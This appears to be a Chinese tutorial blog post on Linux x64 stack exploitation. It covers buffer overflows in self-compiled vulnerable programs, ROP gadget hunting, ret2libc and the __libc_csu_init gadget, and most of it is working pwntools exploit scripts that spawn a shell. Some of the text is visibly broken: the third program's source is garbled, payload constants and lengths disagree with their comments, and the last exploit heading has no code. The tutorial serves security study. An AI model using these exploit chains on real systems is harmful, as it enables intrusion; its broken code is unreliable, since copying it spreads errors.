Linux_x64 PWN

linux_x64与linux_x86的区别

主要两点:
1.内存地址的范围由32位变成了64位,但是可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。
2.参数传递方式发生改变,x86参数都是保存在栈上,x64中的前6个参数依次保存在rdi, rsi, rdx, rcx, r8r9中,如果有更多参数则保存在栈上。
拿一个简单的程序演示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* compile on Linux_64 with gcc -fno-stack-protector vuln1 -o vuln1.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void callsystem()
{

system("/bin/sh");
}

void vulnerable_function()
{

char buf[128];
read(STDIN_FILENO, buf, 512);
}

int main(int argc, char **argv)
{

write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
return 0;
}

用gdb简单的反编译一下vulnerable_function

lea rax, [rbp-0x80]可知栈结构如下:

所以要overwriterip为callsystem()函数的地址,需要136(0x80+8)个占位字节+callsystem()的地址。

exp如下:

1
2
3
4
5
6
7
8
9
#!/usr/bin/python
#coding:utf-8
from pwn import *

p = process('./vuln1')
callsystem = 0x400584
payload = "A" * 136 + p64(callsystem)
p.send(payload)
p.interactive()

使用工具寻找gadgets

x64的参数会保存在寄存器中,所以需要找一些类似于pop rdi; ret这样的gadget,借助工具如ROPgadget查找会更加快捷方便。
再用一个简单的例子演示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/* compile on linux_64 with gcc -fno-stack-protector vuln2.c -o vuln2 -ldl */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>

void systemaddr()
{

void *handle = dlopen("libc.so.6", RTLD_LAZY);
printf("%p\n", dlsym(handle, "system"));
fflush(stdout);
}

void vulnerable_function()
{

char buf[128];
read(STDIN_FILENO, buf, 512);
}

int main(int argc, char **argv)
{

systemaddr();
write(1, "Hello, World\n", 13);
vulnerable_function();
}

程序会打印system()在内存中的地址,这样就不需要考虑ASLR的问题了,只要想办法执行system("/bin/sh")就行。需要找一个将rdi指向“/bin/sh”的gadgets:

1
2
3
4
5
6
7
8
9
$ ROPgadget --binary vuln2 --only "pop|ret"
Gadgets information
============================================================

0x00000000004006d2 : pop rbp ; ret
0x00000000004006d1 : pop rbx ; pop rbp ; ret
0x0000000000400585 : ret
0x0000000000400735 : ret 0xbdb8

Unique gadgets found: 4

因为程序较小,没有pop rdi; ret这个gadgets。可以从libc.so中找,因为程序本身会load libc.so到内存中,并打印system()的地址,所以找到gadgets后可以通过system()计算出libc.so在内存中的基址,从而得到gadgets在内存中的实际地址。

1
2
3
4
$ ROPgadget --binary libc.so.6 --only "pop|ret" | grep rdi
0x000000000001f7a6 : pop rdi ; pop rbp ; ret
0x0000000000022b1a : pop rdi ; ret
0x00000000001331ad : pop rdi ; ret 0xffee

成功找到了pop rdi; ret这个gadget,构造ROP链:

1
payload = "\x00" * 136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)

或者,因为我们只需要调用一次system()函数就可以获取shell,所以可以搜索不带ret的gadgets:

1
2
3
4
5
$ ROPgadget --binary libc.so.6 --only "pop|call" | grep rdi
0x000000000017956b : call qword ptr [rdi]
0x00000000000238f0 : call rdi
0x00000000000fa479 : pop rax ; pop rdi ; call rax
0x00000000000fa47a : pop rdi ; call rax

发现pop rax ; pop rdi ; call rax也可以完成目标,将rax赋值system()的地址,rdi赋值为“/bin/sh”的地址:

1
payload = "\x00" * 136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr)

这两个ROP链都可以完成目标,随便选择一个进行攻击即可。
最终的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python
from pwn import *

libc = ELF('libc.so.6')
p = process('./vuln2')

system_addr_str = p.recvuntil('\n')
system_addr = int(system_addr_str,16)
base_addr = system_addr - libc.symbols['system']

binsh_addr = base_addr + next(libc.search('/bin/sh'))

pop_ret_addr = base_addr + 0x0000000000022b1a

p.recv()

payload = "\x00" * 136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)

p.send(payload)

p.interactive()

通用gadgets

程序在编译过程中会加入一些通用的函数来进行初始化操作(比如加载libc.so的初始化函数),所以虽然很多程序的源码不同,但初始化过程是相同的,因此针对这些初始化函数,可以提取一些通用的gadgets来用。
拿一个升级版的程序演示:

1
2
3
4
5
6
7
8
9
10
11
/* compile on linux_64 with gcc -o vuln3 vuln3.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function()
{

char buf[128];
read(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}

这个程序只有一个buffer overflow,先要想办法泄露内存信息,找到system()的值,再传递"/bin/sh".bss段,最后调用system("/bin/sh")。源程序中使用了write()read()函数,可以通过write()去输出write.got的地址,从而计算出libc.so在内存中的地址。
在x64下有一些万能的gadgets可以使用。比如用objdump -d vuln3观察一下__libc_csu_init()这个函数。程序只要调用了libc.so,就会有这个函数对libc进行初始化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
00000000004005a0 <__libc_csu_init>:
4005a0: 48 89 6c 24 d8 mov %rbp,-0x28(%rsp)
4005a5: 4c 89 64 24 e0 mov %r12,-0x20(%rsp)
4005aa: 48 8d 2d 73 08 20 00 lea 0x200873(%rip),%rbp # 600e24 <__init_array_end>
4005b1: 4c 8d 25 6c 08 20 00 lea 0x20086c(%rip),%r12 # 600e24 <__init_array_end>
4005b8: 4c 89 6c 24 e8 mov %r13,-0x18(%rsp)
4005bd: 4c 89 74 24 f0 mov %r14,-0x10(%rsp)
4005c2: 4c 89 7c 24 f8 mov %r15,-0x8(%rsp)
4005c7: 48 89 5c 24 d0 mov %rbx,-0x30(%rsp)
4005cc: 48 83 ec 38 sub $0x38,%rsp
4005d0: 4c 29 e5 sub %r12,%rbp
4005d3: 41 89 fd mov %edi,%r13d
4005d6: 49 89 f6 mov %rsi,%r14
4005d9: 48 c1 fd 03 sar $0x3,%rbp
4005dd: 49 89 d7 mov %rdx,%r15
4005e0: e8 1b fe ff ff callq 400400 <_init>
4005e5: 48 85 ed test %rbp,%rbp
4005e8: 74 1c je 400606 <__libc_csu_init+0x66>
4005ea: 31 db xor %ebx,%ebx
4005ec: 0f 1f 40 00 nopl 0x0(%rax)
4005f0: 4c 89 fa mov %r15,%rdx
4005f3: 4c 89 f6 mov %r14,%rsi
4005f6: 44 89 ef mov %r13d,%edi
4005f9: 41 ff 14 dc callq *(%r12,%rbx,8)
4005fd: 48 83 c3 01 add $0x1,%rbx
400601: 48 39 eb cmp %rbp,%rbx
400604: 75 ea jne 4005f0 <__libc_csu_init+0x50>
400606: 48 8b 5c 24 08 mov 0x8(%rsp),%rbx
40060b: 48 8b 6c 24 10 mov 0x10(%rsp),%rbp
400610: 4c 8b 64 24 18 mov 0x18(%rsp),%r12
400615: 4c 8b 6c 24 20 mov 0x20(%rsp),%r13
40061a: 4c 8b 74 24 28 mov 0x28(%rsp),%r14
40061f: 4c 8b 7c 24 30 mov 0x30(%rsp),%r15
400624: 48 83 c4 38 add $0x38,%rsp
400628: c3 retq

可以看到利用0x400606处的代码我们可以控制rbx, rbp, r12, r13, r14r15的值,随后利用0x4005f0处的代码,可以将r15, r14, r13的值赋给rdx, rsi, edi。接着调用call qword ptr [r12+rbx*8]。只要将rbx的值设为0,再构造栈上的数据就可以控制pc去调用相关函数了。
执行完call之后,程序会对rbx+1,然后比较rbp和rbx的值,如果相等就继续执行并ret到想要继续执行的地址。为了让rbp和rbx的值相等,可以将rbp的值设为1,因为之前把rbx设为了0。
先构造payload1,利用write()输出write在内存中的地址。因为gadget是call qword ptr [r12+rbx*8],所以应该使用write.got而不是write.plt的地址(got里存的是地址,plt里存的是指令)。并且为了返回原程序中,重复利用buffer overflow,我们需要再次覆盖栈上的数据,直到把返回值覆盖成目标函数的main函数为止。

1
2
3
4
5
6
7
8
9
# rdi = r13, rsi = r14, rdx = r15
# write(rdi = 1, rsi = write.got, rdx = 4)
payload1 = "\x00" * 136
# pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x400606) + p64(0xdeadbeff) + p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8)
# mov rdx,r15; mov rsi,r14; mov edi,r13d; call qword ptr [r12+rbx*8]
payload1 += p64(0x4005f0)
payload1 += "\x00" * 0x38
payload1 += p64(main)

exp接收到write()在内存中的地址后,可以计算出system()在内存中的地址。构造payload2,利用read()将system()的地址以及“/bin/sh”写入到.bss段内存中。

1
2
3
4
5
6
# read(rdi = 0, rsi = bss_addr, rdx = 16)
payload2 = "\x00" * 136
payload2 += p64(0x400606) + p64(0xdeadbeef) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16)
payload2 += p64(0x4005f0)
payload2 += "\x00" * 0x38
payload2 += p64(main)

.bss段的地址: $ readelf -S vuln3 There are 30 section headers, starting at offset 0x1150: Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align … [25] .bss NOBITS 0000000000601028 00001028 0000000000000010 0000000000000000 WA 0 0 8 …

最后构造payload3,调用system()函数执行“/bin/sh”。system()的地址保存在了.bss段首地址上,“/bin/sh”的地址保存在了.bss段首地址+8字节上。

1
2
3
4
5
6
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 = "\x00" * 136
payload3 += p64(0x400606) + p64(0xdeadbeef) + p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0)
payload3 += p64(0x4005f0)
payload3 += "\x00" * 0x38
payload3 += p64(main)

最终的exp
reference
http://drops.wooyun.org/papers/7551